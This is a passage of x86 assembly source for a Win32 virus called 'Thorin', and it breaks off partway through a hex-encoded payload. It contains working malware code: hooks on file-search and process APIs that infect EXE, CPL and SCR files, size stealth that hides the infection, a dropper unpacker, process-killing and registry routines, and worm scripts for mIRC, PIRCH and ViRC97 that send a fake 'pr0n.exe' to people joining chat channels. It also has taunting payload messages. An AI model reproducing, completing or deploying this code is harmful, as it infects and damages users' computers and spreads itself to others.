; Stupid message to annoy user... panic ain't good, but... what is good? ;)
|
||
|
||
db "Thorin... Thorin... Thorin... Thorin... Thorin...",13,13
|
||
db "I am Thorin, son of Thrain, son of Thror",13
|
||
db "and your computer is mine... mwahahahahaha!",13
|
||
db "I will give you... the death you deserve!",13,13
|
||
db "...Thorin ...Thorin ...Thorin ...Thorin ...Thorin",0
|
||
|
||
_2: push 00000000h
|
||
apicall _MessageBoxA
|
||
payload4 endp
|
||
|
||
payload5 proc
|
||
lea ebx,[ebp+szSHELL32]
|
||
push ebx
|
||
apicall _LoadLibraryA ; Get SHELL32 base address
|
||
lea ecx,[ebp+@ShellExecuteA]
|
||
push ecx
|
||
push eax
|
||
apicall _GetProcAddress ; Get ShellExecuteA address
|
||
xor ebx,ebx
|
||
push ebx
|
||
push ebx
|
||
push ebx
|
||
lea ecx,[ebp+szMicro$oft]
|
||
push ecx
|
||
lea ecx,[ebp+szOPEN]
|
||
push ecx
|
||
push ebx
|
||
call eax ; Open Micro$oft web
|
||
ret
|
||
payload5 endp
|
||
|
||
; ===========================================================================
|
||
; Some miscellaneous functions
|
||
; ===========================================================================
|
||
; ALIGN
|
||
;
|
||
; input:
|
||
; EAX = Number to align
|
||
; ECX = Alignment factor
|
||
; output:
|
||
; EAX = Aligned number
|
||
;
|
||
|
||
Align proc
|
||
push edx
|
||
xor edx,edx
|
||
push eax
|
||
div ecx
|
||
pop eax
|
||
sub ecx,edx
|
||
add eax,ecx
|
||
pop edx
|
||
ret
|
||
Align endp
|
||
|
||
; TRUNCFILE
|
||
;
|
||
; input:
|
||
; ECX = Where trunc file
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
TruncFile proc
|
||
xor eax,eax
|
||
push eax
|
||
push eax
|
||
push ecx
|
||
push dword ptr [ebp+FileHandle]
|
||
apicall _SetFilePointer
|
||
push dword ptr [ebp+FileHandle]
|
||
apicall _SetEndOfFile
|
||
ret
|
||
TruncFile endp
|
||
|
||
; OPENFILE
|
||
;
|
||
; input:
|
||
; ESI = Pointer to file
|
||
; output:
|
||
; EAX = Handle (if succesful) / -1 (if failed)
|
||
;
|
||
|
||
OpenFile proc
|
||
xor eax,eax
|
||
push eax
|
||
push eax
|
||
push 00000003h
|
||
push eax
|
||
inc eax
|
||
push eax
|
||
push 40000000h or 80000000h
|
||
push esi
|
||
apicall _CreateFileA
|
||
ret
|
||
OpenFile endp
|
||
|
||
; CREATEMAP
|
||
;
|
||
; input:
|
||
; ECX = Size to map
|
||
; output:
|
||
; EAX = Handle (if succesful) / 0 (if failed)
|
||
;
|
||
|
||
CreateMap proc
|
||
xor eax,eax
|
||
push eax
|
||
push ecx
|
||
push eax
|
||
push 00000004h
|
||
push eax
|
||
push dword ptr [ebp+FileHandle]
|
||
apicall _CreateFileMappingA
|
||
ret
|
||
CreateMap endp
|
||
|
||
; MAPFILE
|
||
;
|
||
; input:
|
||
; ECX = Size to map
|
||
; output:
|
||
; EAX = Handle (if succesful) / 0 (if failed)
|
||
|
||
MapFile proc
|
||
xor eax,eax
|
||
push ecx
|
||
push eax
|
||
push eax
|
||
push 000F001Fh
|
||
push dword ptr [ebp+MapHandle]
|
||
apicall _MapViewOfFile
|
||
ret
|
||
MapFile endp
|
||
|
||
; REGEXIST
|
||
;
|
||
; input:
|
||
; ESI = Pointer to key name
|
||
; output:
|
||
; CF = Set to 1 if it exist, to 0 if it doesn't
|
||
;
|
||
|
||
RegExist proc
|
||
lea eax,[ebp+RegHandle]
|
||
push eax
|
||
push 000F003Fh
|
||
push 00000000h
|
||
push esi
|
||
push 80000001h
|
||
apicall _RegOpenKeyExA
|
||
cmp eax,2
|
||
jz RegExistExitCF0
|
||
push dword ptr [ebp+RegHandle]
|
||
apicall _CloseHandle
|
||
stc
|
||
ret
|
||
RegExistExitCF0:
|
||
clc
|
||
ret
|
||
RegExist endp
|
||
|
||
; PUTREG
|
||
;
|
||
; input:
|
||
; ESI = Pointer to key name
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
PutReg proc
|
||
lea eax,[ebp+Disposition]
|
||
push eax
|
||
lea eax,[ebp+RegHandle]
|
||
push eax
|
||
xor eax,eax
|
||
push eax
|
||
push 000F003Fh
|
||
push eax
|
||
push eax
|
||
push eax
|
||
push esi
|
||
push 80000001h
|
||
apicall _RegCreateKeyExA
|
||
push dword ptr [ebp+RegHandle]
|
||
apicall _CloseHandle
|
||
ret
|
||
PutReg endp
|
||
|
||
; DELREG
|
||
;
|
||
; input:
|
||
; ESI = Pointer to key name
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
DelReg proc
|
||
push esi
|
||
push 80000001h
|
||
apicall _RegDeleteKeyA
|
||
ret
|
||
DelReg endp
|
||
|
||
; TERMINATEPROC
|
||
;
|
||
; input:
|
||
; EDI = Pointer to the name of the window of the process we wanna kill
|
||
; output:
|
||
; CF = Set to 1 if it wasn't found or killed, to 0 if it was killed
|
||
;
|
||
|
||
TerminateProc proc
|
||
xor ebx,ebx ; Thnx 2 Bennyg0d :)
|
||
push edi
|
||
push ebx
|
||
apicall _FindWindowA
|
||
xchg eax,ecx
|
||
jecxz TP_ErrorExit
|
||
push ebx
|
||
push ebx
|
||
push 00000012h
|
||
push ecx
|
||
apicall _PostMessageA
|
||
mov cl,00h
|
||
org $-1
|
||
TP_ErrorExit:
|
||
stc
|
||
ret
|
||
TerminateProc endp
|
||
|
||
; GETLASTSECTION
|
||
;
|
||
; input:
|
||
; ESI = Pointer to PE header
|
||
; output:
|
||
; ESI = Pointer to last section
|
||
; EDI = Pointer to PE header
|
||
;
|
||
|
||
GetLastSection proc
|
||
mov edi,esi
|
||
movzx eax,word ptr [edi+06h] ; Get ptr to last section
|
||
dec eax
|
||
imul eax,eax,28h ; C'mon, feel the noise...
|
||
add esi,eax
|
||
add esi,78h
|
||
mov edx,[edi+74h]
|
||
shl edx,03h
|
||
add esi,edx
|
||
ret
|
||
GetLastSection endp
|
||
|
||
; ===========================================================================
|
||
; Get Delta Offset
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; Nothing.
|
||
; output:
|
||
; ECX = Delta Offset
|
||
;
|
||
|
||
GetDeltaOffset proc
|
||
call getitright ; Oh! What is this? Incredible!
|
||
getitright:
|
||
pop ebp
|
||
sub ebp,offset getitright
|
||
ret
|
||
GetDeltaOffset endp
|
||
|
||
; ===========================================================================
|
||
; Dropper unpacker (25 bytes) <<->> [LSCE] - Little Shitty Compression Engine
|
||
; ===========================================================================
|
||
;
|
||
; ??? ??????? ??????? ???????
|
||
; ? ? ? ????? ? ????? ? ????? The Little and Shitty Compression Engine
|
||
; ? ????? ????? ? ? ????? ? ????? Poorly coded and written by...
|
||
; ??????? ??????? ??????? ??????? Who cares? :) Well... by me. Any problem?
|
||
;
|
||
; This is a very simple packing engine, based in the repetition of zeros that
|
||
; the PE files have, thus it is able to compress a PE file... Hehehe, i can
|
||
; put a dropper without caring about its space! That was the only reason of
|
||
; make this little shit. Maybe one day i will make a 'real' compression engi-
|
||
; ne, but today i'm too busy :)
|
||
;
|
||
; input:
|
||
; EDI = Offset where unpack
|
||
; ESI = Data to unpack
|
||
; ECX = Size of packed data
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
LSCE_UnPack proc
|
||
xor eax,eax ; 2 bytes Hehehe, i
|
||
process_byte: ; think i'm
|
||
lodsb ; 1 byte turning a
|
||
or al,al ; 2 bytes little bit
|
||
jnz store_byte ; 2 bytes paranoid...
|
||
dec ecx ; 1 byte
|
||
dec ecx ; 1 byte
|
||
lodsw ; 2 bytes
|
||
push ecx ; 1 byte
|
||
xor ecx,ecx ; 2 bytes
|
||
xchg eax,ecx ; 1 byte
|
||
rep stosb ; 2 bytes
|
||
pop ecx ; 1 byte
|
||
loop process_byte ; 2 bytes
|
||
jecxz all_unpacked ; 2 bytes
|
||
store_byte:
|
||
stosb ; 1 byte
|
||
loop process_byte ; 2 bytes
|
||
all_unpacked:
|
||
ret ; 2 bytes
|
||
LSCE_UnPack endp
|
||
|
||
; ===========================================================================
|
||
; Hook all the possible APIs, of host IT
|
||
; ===========================================================================
|
||
|
||
HookAllAPIs:
|
||
mov eax,dword ptr [ebp+ModBase] ; file modbase=file imagebase
|
||
mov dword ptr [ebp+imagebase],eax
|
||
|
||
lea edi,[ebp+@@Hookz] ; Ptr to the first API
|
||
nxtapi: push edi
|
||
call GetAPI_IT ; Get it from Import Table
|
||
pop edi
|
||
jc Next_IT_Struc_ ; Fail? Damn...
|
||
|
||
xor al,al ; Reach the end of API string
|
||
scasb
|
||
jnz $-1
|
||
|
||
mov eax,[edi] ; All must be in its place :)
|
||
add eax,ebp
|
||
mov [ebx],eax
|
||
Next_IT_Struc:
|
||
add edi,4
|
||
cmp byte ptr [edi],"" ; Reach the last api? Grrr...
|
||
jz AllHooked
|
||
jmp nxtapi
|
||
AllHooked:
|
||
ret
|
||
|
||
Next_IT_Struc_:
|
||
xor al,al
|
||
scasb
|
||
jnz $-1
|
||
jmp Next_IT_Struc
|
||
|
||
; A bard was our savior!
|
||
|
||
db 0,"[Glory to the Bards!]",0
|
||
|
||
; ===========================================================================
|
||
; Hooks' code
|
||
; ===========================================================================
|
||
|
||
HookMoveFileA:
|
||
call DoHookStuff
|
||
jmp [eax+_MoveFileA]
|
||
|
||
HookCopyFileA:
|
||
call DoHookStuff
|
||
jmp [eax+_CopyFileA]
|
||
|
||
HookGetFullPathNameA:
|
||
call DoHookStuff
|
||
jmp [eax+_GetFullPathNameA]
|
||
|
||
HookDeleteFileA:
|
||
call DoHookStuff
|
||
jmp [eax+_DeleteFileA]
|
||
|
||
HookWinExec:
|
||
call DoHookStuff
|
||
jmp [eax+_WinExec]
|
||
|
||
HookCreateFileA:
|
||
call DoHookStuff
|
||
jmp [eax+_CreateFileA]
|
||
|
||
HookCreateProcessA:
|
||
call DoHookStuff
|
||
jmp [eax+_CreateProcessA]
|
||
|
||
HookGetFileAttributesA:
|
||
call DoHookStuff
|
||
jmp [eax+_GetFileAttributesA]
|
||
|
||
HookFindFirstFileA:
|
||
pushad ; Save all reggies
|
||
call GetDeltaOffset ; EBP = Delta Offset
|
||
mov eax,[esp+20h] ; EAX = Return Address
|
||
mov dword ptr [ebp+FFRetAddress],eax
|
||
mov eax,[esp+28h] ; EAX = Ptr to WFD
|
||
mov dword ptr [ebp+FF_WFD],eax
|
||
|
||
mov [esp.PUSHAD_EAX],ebp
|
||
popad
|
||
add esp,4 ; Remove this ret address from
|
||
; stack
|
||
|
||
call [eax+_FindFirstFileA] ; Call original API
|
||
|
||
test eax,eax ; Fail? Shit...
|
||
jz FF_GoAway
|
||
|
||
pushad ; Save reggies and flaggies
|
||
pushfd
|
||
|
||
call GetDeltaOffset ; Delta again
|
||
|
||
movzx ebx,byte ptr [ebp+WFD_Handles_Count] ; Number of active hndlers
|
||
mov edx,[ebp+WFD_HndInMem] ; Our Handle table in mem
|
||
|
||
mov esi,12345678h ; Ptr to filename
|
||
FF_WFD equ $-4
|
||
add esi,(offset WFD_szFileName-offset WIN32_FIND_DATA)
|
||
|
||
cmp ebx,n_Handles ; Over max hnd storing?
|
||
jae AvoidStoring ; Shit...
|
||
|
||
; WFD_Handles structure
|
||
; ?????????????????????
|
||
; +00h WFD Handle
|
||
; +04h Address of its WIN32_FIND_DATA
|
||
|
||
mov dword ptr [edx+ebx*8],eax ; Store Handle
|
||
mov dword ptr [edx+ebx*8+4],esi ; Store WFD offset
|
||
|
||
inc byte ptr [ebp+WFD_Handles_Count]
|
||
|
||
AvoidStoring:
|
||
push esi
|
||
call Check4ValidFile ; Is a reliable file 4 inf?
|
||
pop edi
|
||
jc FF_AvoidInfekt ; Duh!
|
||
|
||
push edi
|
||
call _Infection ; Infect it
|
||
pop esi
|
||
|
||
call Info4Stealth ; Get, if available, old file's
|
||
; size
|
||
jc FF_AvoidInfekt
|
||
|
||
mov ecx,dword ptr [ebp+FF_WFD]
|
||
add ecx,(offset WFD_nFileSizeLow-offset WIN32_FIND_DATA)
|
||
mov [ecx],eax ; Size stealth!
|
||
|
||
FF_AvoidInfekt:
|
||
popfd
|
||
popad
|
||
|
||
FF_GoAway: ; Return to caller
|
||
push 12345678h
|
||
FFRetAddress equ $-4
|
||
ret
|
||
|
||
HookFindNextFileA:
|
||
pushad ; Save all reggies
|
||
call GetDeltaOffset ; Get delta offset
|
||
mov eax,[esp+20h] ; EAX = Return address
|
||
mov dword ptr [ebp+FNRetAddress],eax
|
||
mov eax,[esp+24h] ; EAX = Search Handle
|
||
mov dword ptr [ebp+FN_Hnd],eax
|
||
mov [esp.PUSHAD_EAX],ebp
|
||
popad
|
||
|
||
add esp,4
|
||
|
||
call [eax+_FindNextFileA] ; Call original API
|
||
or eax,eax ; Fail? Damn.
|
||
jz FN_GoAway
|
||
|
||
pushad ; Save regs and flags
|
||
pushfd
|
||
|
||
call GetDeltaOffset ; Get delta again
|
||
|
||
mov eax,12345678h ; EAX = Search Handle
|
||
FN_Hnd equ $-4
|
||
|
||
call Check4ValidHandle ; Is in our table? If yes,
|
||
jc FN_AvoidInfekt ; infect.
|
||
|
||
xchg esi,eax ; ESI = Pointer to WFD
|
||
|
||
mov dword ptr [ebp+FN_FS],esi ; Save if for later
|
||
add esi,(offset WFD_szFileName-offset WIN32_FIND_DATA)
|
||
push esi ; ESI = Ptr to filename
|
||
call Check4ValidFile ; Is reliable its inf.?
|
||
pop edi
|
||
jc FN_AvoidInfekt ; Duh...
|
||
push edi
|
||
call _Infection ; Infect it !
|
||
pop esi
|
||
call Info4Stealth ; Retrieve info for possible
|
||
; stealth...
|
||
jc FN_AvoidInfekt
|
||
|
||
mov ecx,12345678h
|
||
FN_FS equ $-4
|
||
add ecx,(offset WFD_nFileSizeLow-offset WIN32_FIND_DATA)
|
||
mov [ecx],eax ; Size Stealth, dude!
|
||
|
||
FN_AvoidInfekt:
|
||
popfd ; Restore flags & regs
|
||
popad
|
||
|
||
FN_GoAway: ; Return to caller
|
||
push 12345678h
|
||
FNRetAddress equ $-4
|
||
ret
|
||
|
||
HookGetProcAddress:
|
||
pushad ; Save all the registers
|
||
call GetDeltaOffset ; EBP = Delta Offset
|
||
mov eax,[esp+24h] ; EAX = Base address of module
|
||
cmp eax,dword ptr [ebp+kernel] ; Is EAX=K32?
|
||
jnz OriginalGPA ; If not, it's not our problem
|
||
mov [esp.PUSHAD_EAX],ebp
|
||
popad
|
||
pop dword ptr [eax+HGPA_RetAddress] ; Put ret address in a safe place
|
||
|
||
call [eax+_GetProcAddress] ; Call original API
|
||
or eax,eax ; Fail? Duh!
|
||
jz HGPA_SeeYa
|
||
|
||
pushad
|
||
xchg eax,ebx ; EBX = Address of function
|
||
|
||
call GetDeltaOffset ; EBP = Delta offset
|
||
|
||
mov ecx,n_HookedAPIs ; ECX = Number of hooked apis
|
||
lea esi,[ebp+@@HookedOffsetz] ; ESI = Ptr to array of API
|
||
; addresses
|
||
xor edx,edx ; EDX = Counter (set to 0)
|
||
HGPA_IsHookableAPI?:
|
||
lodsd ; EAX = API from array
|
||
cmp ebx,eax ; Is equal to requested address?
|
||
jz HGPA_IndeedItIs ; If yes, it's interesting 4 us
|
||
inc edx ; Increase counter
|
||
loop HGPA_IsHookableAPI? ; Search loop
|
||
jmp OriginalGPAx
|
||
|
||
HGPA_IndeedItIs:
|
||
lea edi,[ebp+@@Hookz] ; EDI = Ptr to hooked API strings
|
||
xor ebx,ebx ; EBX = New counter
|
||
HGPA_AndWhatAPI?:
|
||
cmp edx,ebx ; We want EBX = EDX
|
||
jz HGPA_ThisAPI
|
||
xor al,al ; Travel trough the Hooks
|
||
scasb ; structure
|
||
jnz $-1
|
||
add edi,4
|
||
inc ebx
|
||
jmp HGPA_AndWhatAPI?
|
||
HGPA_ThisAPI:
|
||
xor al,al ; EDI = Points to requested
|
||
scasb ; api string
|
||
jnz $-1
|
||
mov eax,[edi] ; Get its offset
|
||
add eax,ebp ; Adjust it to delta
|
||
mov [esp.PUSHAD_EAX],eax
|
||
popad
|
||
|
||
HGPA_SeeYa:
|
||
push 12345678h
|
||
HGPA_RetAddress equ $-4
|
||
ret
|
||
|
||
OriginalGPAx:
|
||
mov [esp.PUSHAD_EAX],ebp
|
||
popad
|
||
push dword ptr [eax+HGPA_RetAddress]
|
||
jmp [eax+_GetProcAddress]
|
||
|
||
OriginalGPA:
|
||
mov [esp.PUSHAD_EAX],ebp
|
||
popad
|
||
jmp [eax+_GetProcAddress]
|
||
|
||
; ===========================================================================
|
||
; Hooked "standard" APIs handler
|
||
; ===========================================================================
|
||
|
||
DoHookStuff:
|
||
pushad
|
||
pushfd
|
||
call GetDeltaOffset
|
||
mov edx,[esp+2Ch] ; Get filename to infect
|
||
mov esi,edx
|
||
call Check4ValidFile
|
||
jc ErrorDoHookStuff
|
||
InfectWithHookStuff:
|
||
xchg edi,edx
|
||
call _Infection
|
||
ErrorDoHookStuff:
|
||
popfd ; Preserve all as if nothing
|
||
popad ; happened :)
|
||
push ebp
|
||
call GetDeltaOffset ; Get delta offset
|
||
xchg eax,ebp
|
||
pop ebp
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Retrieve information for size-stealth
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; ESI = Pointer to file name
|
||
; output:
|
||
; EAX = Old Size (Stored at PE Header+44h)
|
||
; CF = Set to 1 if error (file not infected, I/O, etc)
|
||
;
|
||
|
||
Info4Stealth:
|
||
and byte ptr [ebp+CoolFlag],00h ; Flag to 0
|
||
|
||
call OpenFile ; Open File
|
||
cmp_ eax,I4S_Error
|
||
|
||
mov dword ptr [ebp+FileHandle],eax ; Store its handler
|
||
|
||
push 00000000h ; Get file's size
|
||
push eax
|
||
apicall _GetFileSize
|
||
xchg eax,ecx
|
||
|
||
push ecx ; Create its mapping
|
||
call CreateMap
|
||
pop ecx
|
||
|
||
cmpz_ eax,I4S_Error_CloseFileHnd
|
||
|
||
mov dword ptr [ebp+MapHandle],eax ; Save handler
|
||
|
||
call MapFile ; Create a mapping view
|
||
cmpz_ eax,I4S_Error_CloseMapHnd
|
||
|
||
mov dword ptr [ebp+MapAddress],eax ; Store mapping address
|
||
|
||
mov esi,[eax+3Ch]
|
||
add esi,eax
|
||
cmp dword ptr [esi],"EP" ; Is it PE?
|
||
jnz I4S_Error_UnMapHnd
|
||
|
||
push dword ptr [esi+orig_size] ; Get original's file size
|
||
pop dword ptr [ebp+OldSize] ; And put it in a temp place
|
||
|
||
inc byte ptr [ebp+CoolFlag] ; Set flag to 1
|
||
|
||
I4S_Error_UnMapHnd:
|
||
push dword ptr [ebp+MapAddress] ; Close map view of file
|
||
apicall _UnmapViewOfFile
|
||
|
||
I4S_Error_CloseMapHnd:
|
||
push dword ptr [ebp+MapHandle] ; Close map handle
|
||
apicall _CloseHandle
|
||
|
||
I4S_Error_CloseFileHnd:
|
||
push dword ptr [ebp+FileHandle] ; Close file handle
|
||
apicall _CloseHandle
|
||
|
||
cmp byte ptr [ebp+CoolFlag],00h ; Were we able to open? If yes,
|
||
jz I4S_Error ; leave stack clear...
|
||
|
||
I4S_Successful:
|
||
mov eax,12345678h
|
||
OldSize equ $-4
|
||
mov cl,00h
|
||
org $-1
|
||
I4S_Error:
|
||
stc
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Check if file infection is reliable
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; ESI = Pointer to file name
|
||
; output:
|
||
; CF = Set to 1 if it's reliable, to 0 if it isn't
|
||
;
|
||
|
||
Check4ValidFile:
|
||
lodsb
|
||
or al,al ; Find NULL? Shit...
|
||
jz C4VF_Error
|
||
cmp al,"." ; Dot found? Interesting...
|
||
jnz Check4ValidFile
|
||
dec esi
|
||
lodsd ; Put extension in EAX
|
||
or eax,20202020h ; Make string locase
|
||
not eax
|
||
cmp eax,not "exe." ; Is it an EXE? Infect!!!
|
||
jz C4VF_Successful
|
||
cmp eax,not "lpc." ; Is it a CPL? Infect!!!
|
||
jz C4VF_Successful
|
||
cmp eax,not "rcs." ; Is is a SCR? Infect!!!
|
||
jnz C4VF_Error
|
||
C4VF_Successful:
|
||
mov cl,00h
|
||
org $-1
|
||
C4VF_Error:
|
||
stc
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Check if handle was stored previously
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; EAX = Handle
|
||
; output:
|
||
; EAX = WFD Offset of given handle
|
||
; EDX = Places what it occupies in WFD_Handles structure
|
||
; CF = Set to 1 if it's found, to 0 if it wasn't
|
||
;
|
||
|
||
Check4ValidHandle:
|
||
xor edx,edx
|
||
mov edi,[ebp+WFD_HndInMem]
|
||
C4VH_l00p:
|
||
cmp edx,n_Handles ; Over limits? Shit...
|
||
jae C4VH_Error
|
||
|
||
cmp eax,[edx*8+edi] ; EAX = a handler stored in
|
||
jz C4VH_Successful ; table
|
||
|
||
inc edx ; Increase counter
|
||
jmp C4VH_l00p
|
||
C4VH_Successful:
|
||
mov eax,[edx*8+edi+4] ; EAX = WFD Offset
|
||
|
||
mov cl,00h
|
||
org $-1
|
||
C4VH_Error:
|
||
stc
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; mIRC worm
|
||
; ===========================================================================
|
||
|
||
mIRCWorm db "[script]",10
|
||
db "n0=ON 1:JOIN:#: {/if ($nick==$me) { halt }",10
|
||
db "n1=/dcc send $nick c:\pr0n.exe",10
|
||
db "n2=}",10
|
||
db "n3=ON 1:TEXT:*pr0n*:#:/quit Win32.mIRC32.Thorin 1.00",10
|
||
db "n4=ON 1:TEXT:*virus*:#:/ignore -u666 $nick",10
|
||
db "n5=ON 1:CONNECT: {",10
|
||
db "n6=/msg Billy_Bel You are the g0d of fuck!",10
|
||
db "n7=}",10
|
||
mIRCWormSize equ ($-offset mIRCWorm)
|
||
|
||
; ===========================================================================
|
||
; PIRCH worm
|
||
; ===========================================================================
|
||
|
||
PirchWorm db "[Levels]",10
|
||
db "Enabled=1",10
|
||
db "Count=1",10
|
||
db "Level1=ThorinWorm",10,10
|
||
db "[ThorinWorm]",10
|
||
db "User1=*!*@*",10
|
||
db "UserCount=1",10
|
||
db "Event1=;Thorin is here",10
|
||
db "Event2=ON JOIN:#:/dcc send $nick c:\pr0n.exe",10
|
||
db "Event3=;Win32.PIRCH32.Thorin 1.00",10
|
||
db "EventCount=3",10
|
||
PirchWormSize equ ($-offset PirchWorm)
|
||
|
||
; ===========================================================================
|
||
; ViRC97 worm
|
||
; ===========================================================================
|
||
|
||
ViRC97Worm db "Name Win32.ViRC97.Thorin 1.00",10
|
||
db "// Events",10,10
|
||
db 'Event JOIN "* JOIN"',10
|
||
db " DCC Send $nick c:\pr0n.exe",10
|
||
db "EndEvent",10
|
||
ViRC97WormSize equ ($-offset ViRC97Worm)
|
||
|
||
; ===========================================================================
|
||
; Payload code
|
||
; ===========================================================================
|
||
|
||
payl0ad label byte
|
||
db 0B8h, 003h, 000h, 0CDh, 010h, 0BEh, 051h, 002h
|
||
db 0E8h, 0F7h, 000h, 033h, 0C0h, 0CDh, 016h, 03Ch
|
||
db 063h, 074h, 003h, 0E9h, 0C7h, 000h, 0BEh, 0BCh
|
||
db 003h, 0E8h, 0E6h, 000h, 033h, 0C0h, 0CDh, 016h
|
||
db 03Ch, 061h, 074h, 003h, 0E9h, 0B6h, 000h, 0BEh
|
||
db 005h, 004h, 0E8h, 0D5h, 000h, 033h, 0C0h, 0CDh
|
||
db 016h, 03Ch, 062h, 074h, 003h, 0E9h, 0A5h, 000h
|
||
db 0E8h, 09Bh, 000h, 059h, 06Fh, 075h, 020h, 064h
|
||
db 065h, 06Dh, 06Fh, 06Eh, 073h, 074h, 072h, 061h
|
||
db 074h, 065h, 064h, 02Ch, 020h, 061h, 074h, 020h
|
||
db 06Ch, 065h, 061h, 073h, 074h, 02Ch, 020h, 074h
|
||
db 068h, 061h, 074h, 020h, 079h, 06Fh, 075h, 020h
|
||
db 068h, 061h, 076h, 065h, 020h, 072h, 065h, 061h
|
||
db 064h, 020h, 027h, 054h, 068h, 065h, 020h, 048h
|
||
db 06Fh, 062h, 062h, 069h, 074h, 027h, 02Eh, 02Eh
|
||
db 02Eh, 00Ah, 00Dh, 041h, 06Eh, 064h, 020h, 074h
|
||
db 068h, 069h, 073h, 020h, 06Dh, 061h, 064h, 065h
|
||
db 073h, 020h, 079h, 06Fh, 075h, 020h, 06Fh, 06Eh
|
||
db 065h, 020h, 06Fh, 066h, 020h, 074h, 068h, 065h
|
||
db 020h, 063h, 068h, 06Fh, 073h, 065h, 06Eh, 02Eh
|
||
db 020h, 04Eh, 06Fh, 077h, 020h, 073h, 069h, 06Dh
|
||
db 070h, 06Ch, 079h, 020h, 065h, 06Eh, 074h, 065h
|
||
db 072h, 020h, 077h, 069h, 06Eh, 064h, 06Fh, 077h
|
||
db 073h, 00Ah, 00Dh, 064h, 069h, 072h, 065h, 063h
|
||
db 074h, 06Fh, 072h, 079h, 020h, 061h, 06Eh, 064h
|
||
db 020h, 074h, 079h, 070h, 065h, 020h, 027h, 077h
|
||
db 069h, 06Eh, 027h, 00Ah, 00Dh, 024h, 05Ah, 0B4h
|
||
db 009h, 0CDh, 021h, 0CDh, 020h, 0E4h, 021h, 00Ch
|
||
db 002h, 0E6h, 021h, 0E8h, 015h, 000h, 00Ah, 00Dh
|
||
db 059h, 06Fh, 075h, 020h, 061h, 072h, 065h, 020h
|
||
db 061h, 020h, 06Ch, 06Fh, 073h, 065h, 072h, 02Eh
|
||
db 02Eh, 02Eh, 024h, 05Ah, 0B4h, 009h, 0CDh, 021h
|
||
db 0EBh, 0DBh, 0B4h, 00Eh, 0ACh, 00Ah, 0C0h, 074h
|
||
db 007h, 0CDh, 010h, 0E8h, 003h, 000h, 0EBh, 0F4h
|
||
db 0C3h, 050h, 053h, 051h, 052h, 0BAh, 040h, 001h
|
||
db 0BBh, 000h, 002h, 0E4h, 061h, 024h, 0FCh, 034h
|
||
db 002h, 0E6h, 061h, 081h, 0C2h, 048h, 092h, 0B1h
|
||
db 003h, 0D3h, 0CAh, 08Bh, 0CAh, 081h, 0E1h, 0FFh
|
||
db 001h, 083h, 0C9h, 00Ah, 0E2h, 0FEh, 04Bh, 075h
|
||
db 0E6h, 024h, 0FCh, 0E6h, 061h, 0BBh, 001h, 000h
|
||
db 032h, 0E4h, 0CDh, 01Ah, 003h, 0DAh, 0CDh, 01Ah
|
||
db 03Bh, 0D3h, 075h, 0FAh, 05Ah, 059h, 05Bh, 058h
|
||
db 0C3h, 048h, 069h, 021h, 020h, 049h, 027h, 06Dh
|
||
db 020h, 054h, 068h, 06Fh, 072h, 069h, 06Eh, 02Ch
|
||
db 020h, 073h, 06Fh, 06Eh, 020h, 06Fh, 066h, 020h
|
||
db 054h, 068h, 072h, 061h, 069h, 06Eh, 02Ch, 020h
|
||
db 073h, 06Fh, 06Eh, 020h, 06Fh, 066h, 020h, 054h
|
||
db 068h, 072h, 06Fh, 072h, 02Eh, 02Eh, 02Eh, 00Ah
|
||
db 00Dh, 049h, 020h, 06Fh, 077h, 06Eh, 020h, 079h
|
||
db 06Fh, 075h, 072h, 020h, 063h, 06Fh, 06Dh, 070h
|
||
db 075h, 074h, 065h, 072h, 020h, 073h, 069h, 06Eh
|
||
db 063h, 065h, 020h, 073h, 06Fh, 06Dh, 065h, 020h
|
||
db 074h, 069h, 06Dh, 065h, 020h, 061h, 067h, 06Fh
|
||
db 02Ch, 020h, 062h, 075h, 074h, 020h, 069h, 027h
|
||
db 076h, 065h, 020h, 062h, 065h, 065h, 06Eh, 00Ah
|
||
db 00Dh, 069h, 06Eh, 020h, 073h, 069h, 06Ch, 065h
|
||
db 06Eh, 063h, 065h, 020h, 073h, 069h, 06Eh, 063h
|
||
db 065h, 020h, 06Eh, 06Fh, 077h, 02Eh, 02Eh, 02Eh
|
||
db 020h, 049h, 020h, 068h, 061h, 076h, 065h, 06Eh
|
||
db 027h, 074h, 020h, 06Eh, 06Fh, 074h, 068h, 069h
|
||
db 06Eh, 067h, 020h, 061h, 067h, 061h, 069h, 06Eh
|
||
db 069h, 073h, 074h, 020h, 070h, 065h, 06Fh, 070h
|
||
db 06Ch, 065h, 020h, 069h, 06Eh, 00Ah, 00Dh, 067h
|
||
db 065h, 06Eh, 065h, 072h, 061h, 06Ch, 02Ch, 020h
|
||
db 062h, 075h, 074h, 020h, 069h, 020h, 068h, 061h
|
||
db 074h, 065h, 020h, 074h, 068h, 065h, 020h, 069h
|
||
db 06Eh, 063h, 075h, 06Ch, 074h, 020h, 070h, 065h
|
||
db 06Fh, 070h, 06Ch, 065h, 02Eh, 020h, 050h, 06Ch
|
||
db 065h, 061h, 073h, 065h, 020h, 061h, 06Eh, 073h
|
||
db 077h, 065h, 072h, 020h, 06Dh, 065h, 020h, 063h
|
||
db 06Fh, 072h, 072h, 065h, 063h, 074h, 06Ch, 079h
|
||
db 00Ah, 00Dh, 00Ah, 00Dh, 031h, 02Eh, 020h, 049h
|
||
db 06Eh, 020h, 077h, 068h, 061h, 074h, 020h, 062h
|
||
db 06Fh, 06Fh, 06Bh, 020h, 069h, 020h, 061h, 070h
|
||
db 070h, 065h, 061h, 072h, 020h, 061h, 073h, 020h
|
||
db 06Fh, 06Eh, 065h, 020h, 06Fh, 066h, 020h, 074h
|
||
db 068h, 065h, 020h, 06Dh, 061h, 069h, 06Eh, 020h
|
||
db 063h, 068h, 061h, 072h, 061h, 063h, 074h, 065h
|
||
db 072h, 073h, 03Fh, 00Ah, 00Dh, 020h, 05Bh, 061h
|
||
db 05Dh, 020h, 054h, 068h, 065h, 020h, 04Ch, 06Fh
|
||
db 072h, 064h, 020h, 04Fh, 066h, 020h, 054h, 068h
|
||
